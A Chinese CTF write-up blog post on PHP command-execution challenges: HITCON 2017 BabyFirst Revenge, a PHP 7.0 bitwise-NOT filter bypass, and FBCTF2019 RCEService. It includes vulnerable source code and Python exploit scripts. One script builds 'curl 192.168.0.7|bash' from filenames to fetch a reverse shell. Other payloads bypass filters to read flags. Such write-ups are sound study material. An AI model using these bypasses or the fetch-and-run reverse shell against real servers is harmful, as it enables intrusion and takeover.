RCE的那些事儿

前言

这里用来记录一下自己做题过程中遇到有趣的RCE~

5个字符getshell

题目:BabyFirst Revenge

HITCON CTF 2017的题目,之前已经了解过思路,还是挺有意思的。

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
echo $_SERVER['REMOTE_ADDR']."\n";
$sandbox = './sanbox';
mkdir($sandbox);
chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
echo $_GET['cmd'].'<br>';
echo "success";
exec($_GET['cmd']);
} else {
@exec('/bin/rm -rf ' . $sandbox);
echo "failed";
}
highlight_file(__FILE__);

前置知识

Linux中,使用\可以换行输入命令:

1
2
3
4
adu1t@ubuntu:~$ who\
> am\
> i
adu1t

另外,命令不需要完全正确,只需要包含有正确的命令即可执行:

1
2
3
4
5
6
7
8
9
adu1t@ubuntu:~$ cat 1.txt 
sketch_pl4ne_wants_a_girlfriend.
who\
am\
i

adu1t@ubuntu:~$ sh 1.txt
1.txt: 1: 1.txt: sketch_pl4ne_wants_a_girlfriend.: not found
adu1t

>x,创建一个名为x的空文件:

1
2
3
adu1t@ubuntu:~/Desktop$ >x
adu1t@ubuntu:~/Desktop$ ls
x

ls -t命令,将创建的文件按创建时间排序(后创建在前):

1
2
3
4
5
6
7
adu1t@ubuntu:~/Desktop$ >1
adu1t@ubuntu:~/Desktop$ >2
adu1t@ubuntu:~/Desktop$ >3
adu1t@ubuntu:~/Desktop$ ls
1 2 3
adu1t@ubuntu:~/Desktop$ ls -t
3 2 1

知道这些之后我们应该就能理解思路了。

思路

利用ls -t 构造含有恶意代码的文件名序列,输出到文件a中,sh 执行即可。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
from time import sleep
from urllib import quote

payload = [
# 构造b文件,里面是构造的ls -t>a命令
">l\\",
">s\ \\",
">\>a",
">-t\\",
"ls>b",
"ls>>b",

# 构造 curl 192.168.0.7|bash 这里ip的index文件里写反弹shell的语句然后监听对应端口
# 注意两个点:不要创建同名文件(覆盖);不要以.x创建文件(ls命令不会显示这个文件,导致命令缺失)
">sh",
">ba\\",
">\|\\",
">7\\",
">0.\\",
">8.\\",
">16\\",
">2.\\",
">19\\",
">\\",
">\ \\",
">rl\\",
">cu\\",

# 执行命令
"sh b",
"sh a"
]

r = requests.get('http://192.168.246.129/index.php?reset=1')
for i in payload:
assert len(i) <= 5
requests.get('http://192.168.246.129/index.php?cmd=' + quote(i))
# print r.text
print i
sleep(0.5)

这里只分析命令ls -t的构造过程,因为相对于上一个版本(7个字符还是几个,我给忘了),难点在于这条命令超过了字符数限制,其他的构造完全可以以数量弥补字符数。

我们单独拎出来看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
adu1t@ubuntu:~/Desktop$ >l\\
adu1t@ubuntu:~/Desktop$ >s\ \\
adu1t@ubuntu:~/Desktop$ >\>a
adu1t@ubuntu:~/Desktop$ >-t\\
adu1t@ubuntu:~/Desktop$ ls>b
adu1t@ubuntu:~/Desktop$ ls>>b
adu1t@ubuntu:~/Desktop$ cat -n b
1 >a
2 b
3 l\
4 s \
5 -t\
6 >a
7 b
8 l\
9 s \
10 -t\

可以看到,这样确实在3-5行处构造出了我们想要的代码ls -t>a

说一下这里比较细节的几个地方吧:

  • s必须和空格做连体婴儿,因为空格打头会排在所有字母数字之前 :(
1
2
3
adu1t@ubuntu:~/Desktop$ >\ 
adu1t@ubuntu:~/Desktop$ ls
' ' 1 2 a b
  • 输出的文件名也是有讲究的,简单来说,我们要构造的第一次执行的文件的字母排序要在第二次执行的文件字母排序的后面。也就是这里的ascii(‘a’)<ascii(‘b’),原因是>a文件会排在b文件的前面,这里自己试验就知道了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 错误示范
adu1t@ubuntu:~/Desktop$ >l\\
adu1t@ubuntu:~/Desktop$ >s\ \\
adu1t@ubuntu:~/Desktop$ >\>b
adu1t@ubuntu:~/Desktop$ >-t\\
adu1t@ubuntu:~/Desktop$ ls>a
adu1t@ubuntu:~/Desktop$ ls>>a
adu1t@ubuntu:~/Desktop$ cat a
a
>b
l\
s \
-t\
a
>b
l\
s \
-t\

后面构造curl命令反弹shell我写的脚本注释已经很清楚了,不多赘述。

取反getshell

仅适用于php7.0版本!

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}

前置知识

php7.0.支持以下格式执行函数:

1
($a)();

~取反运算符,可以将字符串取反,两次取反即可用于构造payload:

1
echo urlencode(~'system');

这样可以执行系统命令:

1
<?php eval("?><?=`ls`?>");?>

思路1

先将被过滤的字符取反并编码,再在输入处取反还原即可。

脚本

1
2
3
4
5
6
import requests

url = "http://localhost/ctf/no_char_and_num_rce/index.php?code="
payload = "(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);" # system('cat /flag');
r = requests.get(url+payload)
print(r.text)

思路2

如果php版本不是7.0的话,那么可以考虑使用通配符读取文件。

脚本

这里通配符匹配有点玄学,我复现没有成功,贴一个payload吧。

1
code=?><?=`/???/??? ????.???`?>

绕过preg_match()

题目:[FBCTF2019]RCEService

考察点:preg_match()只对第一行进行匹配,当我们在输入点两端输入回车符%0a时,可以绕过过滤,当然这里的前提是没有对两端过滤。

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

payload如下:

1
?cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}

小结

慢慢走出来了,毕竟世界上还有那么多美好的东西。

和你。

0%